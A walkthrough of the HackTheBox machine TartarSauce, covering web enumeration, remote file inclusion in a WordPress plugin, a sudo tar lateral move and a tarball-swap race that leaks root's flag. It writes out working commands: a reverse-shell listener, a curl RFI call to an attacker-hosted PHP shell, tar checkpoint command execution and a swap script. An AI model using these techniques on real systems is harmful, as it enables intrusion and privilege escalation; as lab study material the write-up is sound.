TartarSauce — HackTheBox¶
Machine Info¶
- IP: 10.129.1.185
- OS: Linux (Ubuntu)
- Difficulty: TBD
Enumeration¶
Port Scan¶
Full TCP scan followed by service/version scan on open ports.
nmap -p- --min-rate 3000 -Pn -oA nmap/tartarSauceNmapOpenPorts $IP
nmap -p80 -sSCV --min-rate=2000 -Pn -oN nmap/TartarSauceNmapServicesVersions.txt $IP
Open Ports:
| Port | Service | Version |
|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) |
Only one port open — this is a web-only box.
robots.txt¶
Nmap's http-robots.txt script found 5 disallowed entries:
| Path | Notes |
|---|---|
/webservices/tar/tar/source/ |
Unknown |
/webservices/monstra-3.0.4/ |
Monstra CMS 3.0.4 |
/webservices/easy-file-uploader/ |
File upload service |
/webservices/developmental/ |
Dev environment |
/webservices/phpmyadmin/ |
Database admin panel |
Decision:
robots.txtis handing us the attack surface. Monstra 3.0.4 is a known-vulnerable CMS. The/webservices/prefix suggests multiple apps hosted under one vhost.
Monstra CMS 3.0.4¶
Monstra stores its database as flat XML files under storage/database/. These are publicly accessible.
Exposed credentials at /webservices/monstra-3.0.4/storage/database/users.table.xml:
| Field | Value |
|---|---|
| login | admin |
| password (MD5) | 5d1e3697d706b0e24e574b56e79affda |
| hash (salt?) | jB64OpMOWGxq |
[email protected] |
|
| role | admin |
Logged into Monstra admin panel with
admin:admin(default creds). File upload is filtered —.php,.txt, and double-extension attempts all rejected. Monstra is a decoy. Real foothold lives elsewhere under/webservices/.
WordPress (/webservices/wp/)¶
A WordPress blog lives at http://tartarsauce.htb/webservices/wp/. Required adding tartarsauce.htb to /etc/hosts to resolve.
Initial wpscan with default (passive) plugin detection found no plugins — this was misleading. Re-ran with aggressive detection:
wpscan --url http://tartarsauce.htb/webservices/wp/ --enumerate ap,at,u --plugins-detection aggressive -o logs/wpscan-aggressive.txt
Findings: | Item | Value | |------|-------| | WordPress | 4.9.4 (insecure) | | Theme | voce 1.1.0 | | Plugin: akismet | 4.0.3 | | Plugin: brute-force-login-protection | 1.5.3 | | Plugin: gwolle-gb | 2.3.10 (vulnerable to CVE-2015-8351 RFI) |
Lesson: Always run wpscan with
--plugins-detection aggressive. Passive mode only finds plugins referenced in HTML — vulnerable plugins rarely appear there.
Foothold¶
CVE-2015-8351 — gwolle-gb Remote File Inclusion¶
The gwolle-gb plugin's ajaxresponse.php includes a file from a user-controlled abspath parameter, appending /wp-load.php to it. Reference: EDB-38861.
Step 1 — Build a malicious wp-load.php (PHP webshell) in a working directory:
mkdir /tmp/rfi && cd /tmp/rfi
cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
# Edit IP/port inside wp-load.php
Step 2 — Serve it over HTTP:
cd /tmp/rfi && python3 -m http.server 8001
Step 3 — Listener for shell callback:
nc -lvnp 9001
Step 4 — Trigger the RFI:
curl "http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.24:8001/"
Reverse shell callback received as www-data.
Privilege Escalation¶
sudo -l as www-data¶
www-data@TartarSauce:$ sudo -l
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
Key detail:
(onuma)— not root. This is a lateral pivot to useronuma(who likely ownsuser.txt).
TTY Upgrade + tar GTFOBins → Lateral to onuma¶
python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Flags/Notes:
- TTY upgrade required — sudo rejected the nc shell with "no tty present"
- tar --checkpoint=1 fires a checkpoint after 1 record
- --checkpoint-action=exec=/bin/bash spawns a shell when checkpoint fires
- sudo -u onuma runs the spawned shell as onuma, not root
User flag retrieved from /home/onuma/user.txt:
92404afaf175cb1d71f414ee7ed2543f
Diagnostic clue: The error message itself revealed the problem and the fix:
"no tty present" → upgrade to a real PTY. "no askpass" → would mean it wanted a password (irrelevant here because of NOPASSWD). When sudo errors look unfamiliar, read them word-by-word — they often state the exact missing precondition.sudo: no tty present and no askpass program specified
Root Enumeration¶
Standard Linux privesc enumeration from onuma:
sudo -l # nothing
id # cdrom, dip, plugdev — no useful groups
cat /etc/crontab # all stock
systemctl list-timers --all --no-pager # backuperer.timer every 5 min ← KEY
find / -perm -4000 -type f 2>/dev/null # only stock SUID + own webshell
ls -la /var/backups # onuma-www-dev.bak (onuma-owned!), onuma_backup_test.txt, onuma_backup_error.txt
Critical anomaly: /var/backups/onuma-www-dev.bak is owned by onuma:onuma despite living in a root-only directory — proving a root-run job creates files on onuma's behalf. Combined with the 5-min backuperer.timer, the privesc vector is the timer-driven backup script.
The /usr/sbin/backuperer Script¶
systemctl cat backuperer.service backuperer.timer
# ExecStart=/usr/sbin/backuperer
cat /usr/sbin/backuperer
Key script behavior (annotated):
basedir=/var/www/html
tmpdir=/var/tmp
tmpfile=$tmpdir/.$(...random sha1...) # random filename in /var/tmp/
check=$tmpdir/check # PREDICTABLE extraction path
# 1. Backup is run as onuma (good intent — backup file ends up onuma-owned)
sudo -u onuma /bin/tar -zcvf $tmpfile $basedir & # ← backgrounded with `&`
/bin/sleep 30 # ← 30-SECOND WINDOW (BUG #1)
# 2. Extraction runs as ROOT
mkdir $check
tar -zxvf $tmpfile -C $check # ← extracts whatever is in $tmpfile, as root
# 3. Diff comparison
integrity_chk() { diff -r $basedir $check$basedir; }
if [[ $(integrity_chk) ]]; then
integrity_chk >> $errormsg # ← BUG #2: diff output (incl. symlink contents) gets logged
fi
Two bugs combine:
1. 30-second sleep window — the tarball sits in /var/tmp/ for ~28 seconds before extraction. We can swap it.
2. diff -r follows symlinks — if a symlink in $check/var/www/html/ points to /root/root.txt, diff reads root.txt's content (running as root) and appends it to a world-readable error log.
CVE-style Exploit — TOCTOU Tarball Swap + Symlink Leak¶
Step 1 — Build malicious tarball (do once):
cd /tmp
mkdir -p exploit/var/www/html
cd exploit
ln -s /root/root.txt var/www/html/index.html
tar -zcvf /tmp/evil.tar.gz var/
tar -tzvf /tmp/evil.tar.gz # verify symlink entry: "index.html -> /root/root.txt"
Why directory structure: Tar stores relative paths. The script extracts to /var/tmp/check/, so var/www/html/index.html inside the archive becomes /var/tmp/check/var/www/html/index.html — exactly where diff -r /var/www/html /var/tmp/check/var/www/html will look.
Why a symlink (not a regular file with content): Tar preserves symlinks during extraction (it doesn't follow them). The symlink gets recreated as-is on disk. Then diff (run later by the script as root) follows it and reads the target file's actual contents — leaking /root/root.txt because root has access.
Step 2 — Watch loop to swap tarball during the 30-second window:
while true; do
TMPFILE=$(ls -A /var/tmp/.* 2>/dev/null | grep -v '^\.\.$' | grep -v '^\.$' | head -1)
if [ -n "$TMPFILE" ] && [ -f "$TMPFILE" ]; then
sleep 3 # let onuma's tar finish writing
cp /tmp/evil.tar.gz "$TMPFILE" # core swap
echo "Replaced $TMPFILE at $(date)"
break
fi
sleep 1
done
Flags/Notes:
- ls -A /var/tmp/.* — list dotfiles (backuperer creates .<sha1>)
- The two grep -v lines exclude . and .. directory entries
- sleep 3 after detection — wait for onuma's tar to finish writing before overwriting
- cp overwrites with our payload — script's later tar -zxvf reads OUR archive, not the original
Step 3 — Wait for the script to finish, read the leak:
cat /var/backups/onuma_backup_error.txt
Diff output contains the root flag in > lines (right side of diff = the symlink's resolved contents):
< <!--Carry on, nothing to see here :D-->
---
> 215ad0eac8942acda3b28649cce759f4
Only in /var/www/html: robots.txt
Only in /var/www/html: webservices
Flags¶
- User:
92404afaf175cb1d71f414ee7ed2543f - Root:
215ad0eac8942acda3b28649cce759f4
Lessons Learned¶
Recon & Decoy Recognition¶
robots.txtis essentially a sitemap of attack surface — don't ignore it, but don't trust it as exhaustive- Multiple apps under one vhost (
/webservices/<app>/) means the obvious target may be a decoy - Monstra CMS 3.0.4 stores its DB as flat XML files in
storage/database/— publicly readable when not properly access-controlled - When a CMS hands you creds and admin access but every upload is blocked, it's a decoy — pivot to a different app
WPScan¶
- Always run with
--plugins-detection aggressive— passive mode only finds plugins referenced in homepage HTML, which rarely includes vulnerable ones --enumerate ap,at,ucovers all plugins, all themes, and users in one pass
RFI Mechanics¶
- LFI/RFI exploits that "include" require an HTTP server serving a file, not a netcat listener
- The vulnerable code may append a fixed suffix (e.g.,
/wp-load.php) to your input — file must be named accordingly - Trailing
/on theabspathURL matters:http://attacker:8001/produces//wp-load.php,http://attacker:8001produceswp-load.php(broken hostname) - Test code execution with
<?php system('id'); ?>first before deploying full reverse shells
Sudo & TTY¶
sudo: no tty present and no askpass program specified→ fix ispython3 -c 'import pty; pty.spawn("/bin/bash")', NOT supplying a passwordsudo -loutput(user) NOPASSWD: /bin/binarymeans you can run that binary asuser— not necessarily root. Read the parens carefully.tarwith--checkpoint=1 --checkpoint-action=exec=<cmd>is a GTFOBins classic — turns any tar invocation into arbitrary command execution
Diagnostics¶
- Read error messages word-by-word — they often state exactly what's missing
Root Privesc — Timer + TOCTOU + Symlink Leak Pattern¶
- A scheduled root job that operates on user-influenced files in shared dirs (
/tmp,/var/tmp) is a classic privesc target - Key indicators:
systemctl list-timers --allshows a custom timer- Files in
/var/backups(or similar) owned by a non-root user (proves root creates files for that user) - A script that uses
&(background) followed bysleep(artificial delay = race window) diff -rfollows symlinks and outputs file contents. If diff output is captured to a world-readable log, you can leak any file root can read.- Tar preserves symlinks during extraction. Crafted tarballs containing symlinks become a delivery mechanism for arbitrary symlinks, even if you can't write to the target directory.
- General pattern: write malicious payload → wait for root job to consume it → harvest leaked data from logs
File Ownership as a Privesc Tell¶
- A file in a root-only directory owned by a regular user proves a root-run process is doing
chownfor that user - Mod times that line up with timer schedules confirm the suspect — note
mtimeon the user-owned file vs. timerLASTtime - Always check
ls -laon files in/var/backups,/var/spool,/opt, and/var/logfor unusual ownership